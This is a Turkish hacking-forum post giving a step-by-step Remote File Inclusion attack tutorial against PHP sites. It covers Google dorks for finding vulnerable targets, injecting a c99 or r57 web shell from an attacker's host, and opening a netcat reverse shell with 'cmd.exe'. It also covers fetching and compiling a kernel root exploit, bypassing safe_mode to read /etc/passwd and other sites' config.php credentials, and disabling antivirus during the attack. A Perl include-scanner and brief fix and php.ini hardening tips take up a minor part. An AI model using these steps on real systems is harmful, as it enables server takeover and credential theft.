|
||
935,798 Üyemiz , 476,571 Konumuz , 3,687,370 Mesajimiz ve 956 Online Kullanicimiz ile Her Dakika Dahada Büyüyoruz... |
||
| WEB Security Web serverınız yada sayfalarınızın güvenliği , açıkları , saldırılardan korunma yöntemleri hakkında Bilmek istediğiniz herşeyi bu bölümümüzden takip edebilirsiniz. |
Bu konudan arkadaşınızında
haberdar olmasını istermisiniz? Tıklayın konuyu arkadaşınızla paylaşın!
![]() |
|
|
Seçenekler | Stil |
|
|
#1 |
|
Rütbe: Üye
Rütbe Kademesi:
![]() Üyelik tarihi: Nov 2007
Nerden: CeHeNeMiN DiBiNdEn
Mesajlar: 155
Ettiği Teşekkür: 94
44 Mesajına 57 Kere Teşekkür Edildi
|
RFI aciklari icin hersey
Remote File Inclusion Vulnerability
# RFI Tanımı # RFI Örnek açıklar # RFI(Püf noktalar) # Açıkları bulmak # Açık oluşturma ve Fixleme # Scripti otomatik arama # Server Rooting (Back door) # Safe-mod:ON bypass yöntemi # RFI Tanımı [/color] PHP özellikle saldırıya açıktır: PHP, uzaktan dosya içerik (RFI) saldırıları ile herhangi bir dosya veya akış (stream) tabanlı API ile sisteme zarar verilebilir. Rfi Php scriptlerinde olur ve orda text dosyasındaki kodlar server da php olarak algılanır ve php olarak çalışır. RFI açıkları html sitelerinde olmaz , sitenizin tabanı ne olursa olsun asp,php,html,joomla önemli olan şudur shellinizi kodladığınız dil ve rfi açığı olan sitenin dili aynı ise işlem gerçekleşir siz php ile yazılmış bir FSO yu asp tabanli bir siteye uploud edip kullanabilirsiniz yeterki hedef sitede php tabanli olsun # RFI Örnek açıklar Linkleri sadece kayıtlı üyelerimiz görebilir.Ücretsiz Üye olmak ve forumdan tamamen yararlanmak icin [SHELL] http://localhost/path/starnet/themes...nc.php?cmsdir=[SHELL] http://localhost/path/administrator/...absolute_path=[SHELL] /includes/functions_mod_user.php?phpbb_root_path=[SHELL] Buq sitelerinde bu şekilde exploit verilir peki bunu nasıl arayacağız kodlara dikkatlice bakın "=[SHELL]" yazısından sonra geriye dogru gelin ilk "/" işaretini bulun ondan önceki tümceyi aratın yukarda 4 kod var şu şeklide aranacak kod1=inurl owerd by patExampleGenkod2=inurl:c-sky kod3=inurl:com_juser kod4=inurl hpbb_root_pathBu arama şekilleri buglarla fazla uğraşınca sizde oturacaktır yada bazi exploitler direk DORK verir verdiği dork'u aratın dork vermediği koşulda yukardaki yöntemi deneyin. * Google komutları "allintitle" : Arama sonuçlarını , tüm arama kriterleri tarayıcının başlık çubuğunda bulunan sayfalar ile sınırlandırır. "intitle" :"allintitle" operatöründen farklı olarak sadece ilk arama kriteleri başlık satırında aranır.Diğer kelimeler ise metin içerisinde taranır. "allinurl" : Tüm arama kriterlerinin adres içerisinde bulunmasını istediğiniz durumlarda bu operatörü kullanabilirsiniz. "inurl" : "intitle" operatöründe olduğu gibi sadece ilk arama kriteri adres çunuğundaki ifade içerisinde aranır . ".."(Numrange) : Sayı aramalarında isterseniz bir aralık tanımlayabilirsiniz. Örn: "100..150" şeklindeki bir kriteri 100 ve 150 arasındaki sayıları içeren sayfaları görüntüler. "daterange": 123-456 Bu operatör ile sonuç kümesini belirli zaman aralığı ile sınırlandırabilirsiniz.Parametreler jüliyen takvimi biçimindedir. "ext": Bu sayede Belirlediğiniz bir dosya biçimini arata bilirsiniz.Alternatif olarak "filetype:" olarakta kullanılabilinir. "cache": Bu komutu kullanarak bulunan web sayfasını google belleğinden çağırabilirsiniz.Sunucu mevcut değilse pratik bir çözüm olabilir. "site": Bu komut belirli bir web sitesinden arama yapar . örn: "site:Linkleri sadece kayıtlı üyelerimiz görebilir.Ücretsiz Üye olmak ve forumdan tamamen yararlanmak icin google ile casusluk . ! " gibi . "related":Google,bu ön ek sayesinde benzer web sayfalarını görüntüler. "info": Bu komut ile web sayfası hakkında kısa bir açıklama elde edebilirsiniz. "link": girilen sayfa üzerinde bir bağlantı ile işaret edilen tüm web sayfalarını görüntüler. En çok kullanılanlar : "inurl","..","ext","cache","info" dur. öRNEK: allinurl:".asp?site=http://" allinurl:".php?main=http://" # RFI(Püf noktalar) uzaktan listpatch (PHP`deki FSO) çalıştırabiliriz. Listpatch`i php destekleyen ama kodları compile etmeyen bir hosta atacağız. Yani kodlar attığımız hostta çalışırsa, include edeceğimiz hostta görevini görmeyecektir sONRA PHP Listpatch`imizi(Shell adreslerimizi) içeriye atıyoruz. >> Bedava shell adresi saglayan siteler veya kendi hostunuz olabilir(shell'leri atmak için) Linkleri sadece kayıtlı üyelerimiz görebilir.Ücretsiz Üye olmak ve forumdan tamamen yararlanmak icin bu bizim sitemiz olsun ve biz buna c99 shellimizi upload ettik Linkleri sadece kayıtlı üyelerimiz görebilir.Ücretsiz Üye olmak ve forumdan tamamen yararlanmak icin text seklinde yuklendi şimdi bunu siteye enjekte edelim http://localhost/path/index.php?acti...x.com/c99.txt? shell adresinin sonuna "?" işareti koymayı unutmayın yoksa çalışmaz >> netcat ile post dinleme yapılacak local den, remote shelldende komut yazarak o porta panel gelmesi saglanacak. işlem başarılı olunca netcat server konsol haline dönecektir. >> konsol geldikten sonra Shell in özelliklerine göre sitede ne yapmak istiyorsanız onları yapabilirsiniz. >> Bazen kullandığınız internet security ve antivirusler shelleri zararli kod olarak algılar ve işlemi yapmanızı engeller bu yüzden Remote File Inclusion(RFI) işini yaparken bu programları kapalı tutun işiniz bitince tekrar aktif hale getirirsiniz. >> Exploits/Vulnerabilities siteleri Linkleri sadece kayıtlı üyelerimiz görebilir.Ücretsiz Üye olmak ve forumdan tamamen yararlanmak icin Linkleri sadece kayıtlı üyelerimiz görebilir.Ücretsiz Üye olmak ve forumdan tamamen yararlanmak icin Linkleri sadece kayıtlı üyelerimiz görebilir.Ücretsiz Üye olmak ve forumdan tamamen yararlanmak icin Linkleri sadece kayıtlı üyelerimiz görebilir.Ücretsiz Üye olmak ve forumdan tamamen yararlanmak icin Linkleri sadece kayıtlı üyelerimiz görebilir.Ücretsiz Üye olmak ve forumdan tamamen yararlanmak icin Linkleri sadece kayıtlı üyelerimiz görebilir.Ücretsiz Üye olmak ve forumdan tamamen yararlanmak icin Linkleri sadece kayıtlı üyelerimiz görebilir.Ücretsiz Üye olmak ve forumdan tamamen yararlanmak icin Linkleri sadece kayıtlı üyelerimiz görebilir.Ücretsiz Üye olmak ve forumdan tamamen yararlanmak icin Linkleri sadece kayıtlı üyelerimiz görebilir.Ücretsiz Üye olmak ve forumdan tamamen yararlanmak icin Linkleri sadece kayıtlı üyelerimiz görebilir.Ücretsiz Üye olmak ve forumdan tamamen yararlanmak icin Linkleri sadece kayıtlı üyelerimiz görebilir.Ücretsiz Üye olmak ve forumdan tamamen yararlanmak icin Linkleri sadece kayıtlı üyelerimiz görebilir.Ücretsiz Üye olmak ve forumdan tamamen yararlanmak icin Bugs Linkleri sadece kayıtlı üyelerimiz görebilir.Ücretsiz Üye olmak ve forumdan tamamen yararlanmak icin Linkleri sadece kayıtlı üyelerimiz görebilir.Ücretsiz Üye olmak ve forumdan tamamen yararlanmak icin # Açıkları bulmak RFI Açıkları bulma yöntemleri Buq sitelerinden bakılır ve Dork verilir bu dorku google aratırsınız veya "vuln sepetini" örnek $phpbb_root_path "$" olmadan Linkleri sadece kayıtlı üyelerimiz görebilir.Ücretsiz Üye olmak ve forumdan tamamen yararlanmak icin adresinde aratırsınız sitelerin scriptlerinde kodu arar veya script sitelerinden siz arayabilirsiniz Linkleri sadece kayıtlı üyelerimiz görebilir.Ücretsiz Üye olmak ve forumdan tamamen yararlanmak icin sitesi örneğin burdan scripti çekerek aratırsınız manuel aramada şu kelimeler scripte aranır include include_once require require_once Define fsockopen file_get_contents fopen Scriptleri Macromedia Dreamweaver 8 yada Notepad2 programları ile açıp kodları aratabilirsiniz biraz bu kodlardan bahsedelim ben iki ana koddan bahsedeceğim. include: dosyayı başka dosyaya dahil etmek demektir siz bir scripteki include kodu ile o scripteki tüm verileri çağırabilirsiniz anlamındadır yani iki include kodu arasındaki veriler bize bütün scripti çagırabilir require ise sadece o satırdaki kodu çağırır eğer oluşturduğunuz kod doğru ise ve shell gelmiyorsa scripteki rfi vuln satırından önceki satırda vuln tanımlanmiştir ve rfi çalışmaz # Açık oluşturma ve Fixleme *Örnek.1 script dosyası adı = functions.php Açık: include_once( $phpbb_root_path . './includes/functions_categories_hierarchy.' . $phpex ); RFI kodumuz: includes/functions.phpbb_root_path=[SHELL] "phpbb_root_path" bizim vuln sepetimizdir eger bu rfi acığını fixlemek istersek include_once( $phpbb_root_path . './includes/functions_categories_hierarchy.' . $phpex ); kodunun bulunduğu satırın bir üstüne şu kodu eklememiz gerekir define('IN_PHPBB', true); $phpbb_root_path= './'; $functions_root_path = $phpbb_root_path . 'functions_mod/'; *Örnek.2 Kodlar = mcGalleryPRO scriptinden alınmıştır script dosyası adı = random2.php Açık: include ("$path_to_folder/admin/common.php" ); include ("$path_to_folder/lang/$lang_def" ); Not:$ işareti olan parametrelere dikkat edin path_to_folder ve lang_def ilk parametreyi kullanarak rfi yapılabilmektedir.nedeni bu değişkenin daha önce sabit bir değere eşitlenmemiş olmasıdır. RFI kodumuz: Linkleri sadece kayıtlı üyelerimiz görebilir.Ücretsiz Üye olmak ve forumdan tamamen yararlanmak icin [SHELL] Fix: define('IN_PHPBB', true); $path_to_folder= "./"; $random2_to_folder = $path_to_folder . 'random2_mod/'; *Dipnot:açık bulunan kod satırının üst satırlarından birinde "defined" , "if" gibi ibareler varsa o açıkta fixlenmiştir buda bir açık fixleme yöntemidir açık satırını iptal ediyor bu şekilde webmaster *Önemli Dipnot: if (file_exists("{$this->db->include_path}/lang/{$this->VARS[’lang’]}.php")) { KOD: file_exists ; Bu komut ile dosya adının geçerliliğini kontrol ediyor[varmı yokmu] Sonrasında burda bir karşılaştırma kullanılmış gördüğünüz gibi . eğer verdiği dosya adı geçerli ise $LANG_CODES = "{$this->db->include_path}/lang/{$this->VARS[’lang’]}.php"; bu kodları çalıştırıyor.Dosya eğer varsa arkadaşımızın dediği gibi bir yol atama olduğundan dolayı include uğramaz. eğer dosyamız yoksa yani else ; else { $LANG_CODES = "{$this->db->include_path}/lang/english.php"; } olumsuz olduğu zamanda tekrar yol belirtiyor.kısaca if ler herzaman fixlemez önemli olan karşılaştırmanın nasıl başladığı ve nasıl bittiğidir. eğerki komutların else bölümünde else { include "$LANG_CODES"; } gibi olsaydı burada dosya adını bulamadığı anda include oluşurdu yani LANG_CODES değişkenimiz include uğrardı. (Herhangi) Script İ Otomatik Taramak inc adinda bir exploit dosyamiz var bu exploiti inc.pl şeklinde active perl bin'e kaydediyoruz. ardından çaliştiriyoruz Ms-Dos'tan "Directory to read?" ve bize bunu soruyor biz tüm script dosyalarini bir klasöre kopyaliyoruz adınada scripts diyelim sonro bu klasörü PERL/BIN e atıyoruz daha sonra bize exploit "Directory to read?" diye sormuştu scripts yazıyoruz ve entere basıyoruz exploit RFI kodlarını arayıp PERL/BIN içine Results adlı .htm dosyası oluşturuyor içinde bulduğu RFI açıkları var nc.pl dosyaları tarama işlemini bitirince size şu şekilde bir mesaj verecek: "Done! Check results.html for the found inclusions!" sonra Results inceliyoruz ve gereken RFI exploit kodunu bulup shell ile bağlanıyoruz. >> inc.pl exploit kodları << Kod: #!/usr/bin/perl -wunlink("results.html");print "\n \n#Will check a directory for all includes and unsets \n";print "#Coded by Ironfist (ironsecurity.nl) \n";print "#Usage: create a folder in your perlfolder and put the files to be scanned in it, next type the folder name below (eg myfolder) \n";print "#GIVES ERRORS WHEN CHECKING SUBFOLDERS: IGNORE THEM \n\n\n";print "Directory to read? ";$input = <stdin>;chop ($input);@files = <$input/*>;foreach $file (@files) { print "Checking: " .$file . "\n";open(MYINPUTFILE, "$file");while(<MYINPUTFILE>) { my($line) = $_; chomp($line);if(($line =~ m/include_once \$/i) || ($line =~ m/require_once \$/i) || ($line =~ m/include_once\(\$/i) || ($line =~ m/require_once\(\$/i) || ($line =~ m/require \$/i) || ($line =~ m/require\(\$/i) || ($line =~ m/require \$/i) || ($line =~ m/include \$/i) || ($line =~ m/include\(\$/i)){open(DAT,">>results.html") || die("Cannot Open File");print DAT "FOUND: $line in $file";close(DAT);} }}@files2 = <$input/*/*>;foreach $file (@files2) { print "Checking: " .$file . "\n";open(MYINPUTFILE, "$file");while(<MYINPUTFILE>) { my($line) = $_; chomp($line);if(($line =~ m/include_once \$/i) || ($line =~ m/require_once \$/i) || ($line =~ m/include_once\(\$/i) || ($line =~ m/require_once\(\$/i) || ($line =~ m/require \$/i) || ($line =~ m/require\(\$/i) || ($line =~ m/require \$/i) || ($line =~ m/include \$/i) || ($line =~ m/include\(\$/i)){open(DAT,">>results.html") || die("Cannot Open File");print DAT "FOUND: $line in $file";close(DAT);} }}@files3 = <$input/*/*/*>;foreach $file (@files3) { print "Checking: " .$file . "\n";open(MYINPUTFILE, "$file");while(<MYINPUTFILE>) { my($line) = $_; chomp($line);if(($line =~ m/include_once \$/i) || ($line =~ m/require_once \$/i) || ($line =~ m/include_once\(\$/i) || ($line =~ m/require_once\(\$/i) || ($line =~ m/require \$/i) || ($line =~ m/require\(\$/i) || ($line =~ m/require \$/i) || ($line =~ m/include \$/i) || ($line =~ m/include\(\$/i)){open(DAT,">>results.html") || die("Cannot Open File");print DAT "FOUND: $line in $file";close(DAT);} }}@files4 = <$input/*/*/*/*>;foreach $file (@files4) { print "Checking: " .$file . "\n";open(MYINPUTFILE, "$file");while(<MYINPUTFILE>) { my($line) = $_; chomp($line);if(($line =~ m/include_once \$/i) || ($line =~ m/require_once \$/i) || ($line =~ m/include_once\(\$/i) || ($line =~ m/require_once\(\$/i) || ($line =~ m/require \$/i) || ($line =~ m/require\(\$/i) || ($line =~ m/require \$/i) || ($line =~ m/include \$/i) || ($line =~ m/include\(\$/i)){open(DAT,">>results.html") || die("Cannot Open File");print DAT "FOUND: $line in $file";close(DAT);} }}@files5 = <$input/*/*/*/*/*>;foreach $file (@files5) { print "Checking: " .$file . "\n";open(MYINPUTFILE, "$file");while(<MYINPUTFILE>) { my($line) = $_; chomp($line);if(($line =~ m/include_once \$/i) || ($line =~ m/require_once \$/i) || ($line =~ m/include_once\(\$/i) || ($line =~ m/require_once\(\$/i) || ($line =~ m/require \$/i) || ($line =~ m/require\(\$/i) || ($line =~ m/require \$/i) || ($line =~ m/include \$/i) || ($line =~ m/include\(\$/i)){open(DAT,">>results.html") || die("Cannot Open File");print DAT "FOUND: $line in $file";close(DAT);} }}@files6 = <$input/*/*/*/*/*/*>;foreach $file (@files6) { print "Checking: " .$file . "\n";open(MYINPUTFILE, "$file");while(<MYINPUTFILE>) { my($line) = $_; chomp($line);if(($line =~ m/include_once \$/i) || ($line =~ m/require_once \$/i) || ($line =~ m/include_once\(\$/i) || ($line =~ m/require_once\(\$/i) || ($line =~ m/require \$/i) || ($line =~ m/require\(\$/i) || ($line =~ m/require \$/i) || ($line =~ m/include \$/i) || ($line =~ m/include\(\$/i)){open(DAT,">>results.html") || die("Cannot Open File");print DAT "FOUND: $line in $file";close(DAT);} }}@files7 = <$input/*/*/*/*/*/*/*>;foreach $file (@files7) { print "Checking: " .$file . "\n";open(MYINPUTFILE, "$file");while(<MYINPUTFILE>) { my($line) = $_; chomp($line);if(($line =~ m/include_once \$/i) || ($line =~ m/require_once \$/i) || ($line =~ m/include_once\(\$/i) || ($line =~ m/require_once\(\$/i) || ($line =~ m/require \$/i) || ($line =~ m/require\(\$/i) || ($line =~ m/require \$/i) || ($line =~ m/include \$/i) || ($line =~ m/include\(\$/i)){open(DAT,">>results.html") || die("Cannot Open File");print DAT "FOUND: $line in $file";close(DAT);} }}print "Done! Check results.html for the found inclusions!"; # Server Rooting (Back door) ArkaKapı oluşturma (Server Rooting) *Bu Döküman r57shell üstünden anlatilmistir. > Rfi açığından sızdığımız siteye r57 shell ile bağlanırız > Arka kapı oluşturabilirz Safe Mode : OFF > Server : burda bulundugu server çeşidi yazar örnek olarak "System Linux node2.c26 2.6.17-1.2142_FC4smp #1 SMP Tue Jul 11 22:57:02 EDT 2006 i686 " "Apache/1.3.37 (Unix) mod_ssl/2.8.28 OpenSSL/0.9.7f PHP/4.4.2 mod_perl/1.29 FrontPage/5.0.2.2510" gibi > R57 nin uploud özelliğinden yararlanarak back-connect.php dosyasını uploud ederiz sonra R57 NİN dosyalar kısmında back-connect.php yi yüklendiğini göreceksiniz. >> Daha sonra R57 de "pwd" yazan yere alip şu şekli yapicaz örnek pwd: /localhost.com/public_html (bende) http://localhost.com/public_html/back-connect.php browsera yazıp enterleyin. >> Pc nizde port açmak zorundasınız 8080 , 8888 , 2121 hepsi olabilir tcp + udp (hem tcp de hem udp de acık olcak bu portlar) Linkleri sadece kayıtlı üyelerimiz görebilir.Ücretsiz Üye olmak ve forumdan tamamen yararlanmak icin BU SİTE MODEM PORT ACMA REHBERİ burdan portlarınızı açabilirsiniz. Windowstan aynı portu açmak için ise Yerel Ağ Bağlantısı'na gelin sağ tuklayın özellikler sonra gelişmiş sekmesine basın ordan ayarlar ordan özel durumlar sonra Bağlantı noktası ekleye basın modemden açtığınız portun windows firewall'undan da açılmasını sağlayabilirsiniz. >> Sonra R57 imizdeki back-connect kutucuğuna geliyoruz ve İP kısmına kendi ipmizi altına port kısmına Açtığımız portu yaziyoruz connect diyoruz >> Şimdi Netcat indiriyoruz PC mize ve System32 içine atıyoruz daha sonra başlat çalıştır kısmına "nc -vv -l -p portnumarası" (",") yok yazıp Enter'e basıyoruz listening diyor sonra bağlanıyoruz >> Server'ımıza uygun local kernel exploit buluyoruz yani shellcode C dilinde yazılmıştır. milw0rm'da bulduk diyelim kernel.c sonra bunu bir hostta aticagiz kendi hostunuzda olabilir burdan exploiti cekin ms-dos'a "wget www.host.com/kernel.c" (",") yok şimdi kernel.c yi derleyelim gene MS-DOSTA gcc -o root kernel.c yazın enterleyin sonra ./root yazıp çalıştırın >> 2.yol back-connect.php yüklemiştik örnek bizim açigimiz şu şekil olsun [Taget]/[Path]/index.php?skin_file=[shell] biz bunu şu şekil yapicaz [Taget]/[Path]/back-connect.php browsera yazın ve enter basın Komut giricez back-connect.php'de açılan sayfada "wget www.host.com/kernel.exe" (",")yok 1.yoldali kernel.c yi .exe olarak derledik ve bir hostta attık ordan kernel.exe yi çekiyoruz , kontrol edelim [Taget]/[Path]/back-connect.php?c=dir yazın ve kernel.exe ordamı bakın çekilimiştir sonra browsera şunu yazın [Taget]/[Path]/back-connect.php?c= nc -l -p portnumarası -d -e cmd.exe (port numarası PC nizden açmış olduğunuz port numarası) sonra Putty i açarız ve açmış olduğumuz port numarasını yazarız yanına sitenin IP sini yazariz protocol Raw seçeriz putty'de Open'a basarız bağlanırız. # Safe-mod:ON bypass yöntemi sitede config.php yok iken ve safe-mod:ON iken birşey uploud edemeyiz ama gelişmiş r57'nin PHP bypass yöntemi ile bunu aşabiliriz. ::Test bypass safe_mode wiew file contest via imap body:: özelliği vardır R57'de komutu ise "/etc/passwd" budur "test" e basarız ve server daki siteler yukarda sıralanır. ::Test bypass safe_mode wiew file contest via imap list:: bu kısm şu şekildedir bulundugu dizin der "/home/fotograf1/domains/localhost/public_html" bu kısma istedigimiz siteyi yazarız server'da misal şu şekil yazıcaz sitemiz "localhost2" olsun "/home/fotograf1/domains/localhost2/" "test" tışuna bastıktan sonra yukarda localhost2'nin dosyaları gelir ordan config.php dosyasını bulur ve ulaşırız. linki alırız şu şekilde "/home/fotograf1/domains/localhost2/config.php" ve bu linki ::Test bypass safe_mode wiew file contest via imap body:: yapıştırırız ve "test" tuşuna basarız. ve DB ile ilgili bilgiler gelir r57'mizde "Run SQL query" bölümüne gideriz Login ve Password kısımlarını Config.php deki bilgiye göre doldururuz ve Execute tuşuna basarız. File Inclusion açıklarından korunmak hakkında ufak bir püf noktası File Inclusion açıklarından yararlanarak sisteme upload edilen listpatchlerden korunmak için aşağıdaki yolu izleyebilirsiniz... /etc/php.ini dosyasını açın disable_function satırını buluyoruz ve karşısına bunları ekliyoruz. system,passthru,exec,popen,proc_close,proc_get_sta tus,proc_nice,proc_open, allow_url_fopen,shell,shellexec,execute service htttpd restart diyoruz NOT: Bu fonksiyonlar disable yapıldıgında bazı scriptler serverınızda çalışmayacaktır ama bu açıklardan da korumuş olacaksınız. |
|
|
|
| Reklam Alanı | |
![]() |
| Seçenekler | |
| Stil | |
|
|
Sitemiz bir forum sitesi olduğu için kullanıcılar her türlü görüşlerini önceden onay olmadan anında siteye yazabilmektedir, bu yazılardan dolayı doğabilecek her türlü sorumluluk yazan kullanıcılara aittir, yine de sitemizde yasalara aykırı unsurlar bulursanız abuse@hackhell.com email adresine bildirebilirsiniz, şikayetiniz incelendikten sonra en kısa sürede gereken yapılacaktır. Report Abuse, Harassment, Scamming, Hacking, Warez, Crack, Divx, Mp3 or any Illegal Activity to abuse@hackhell.com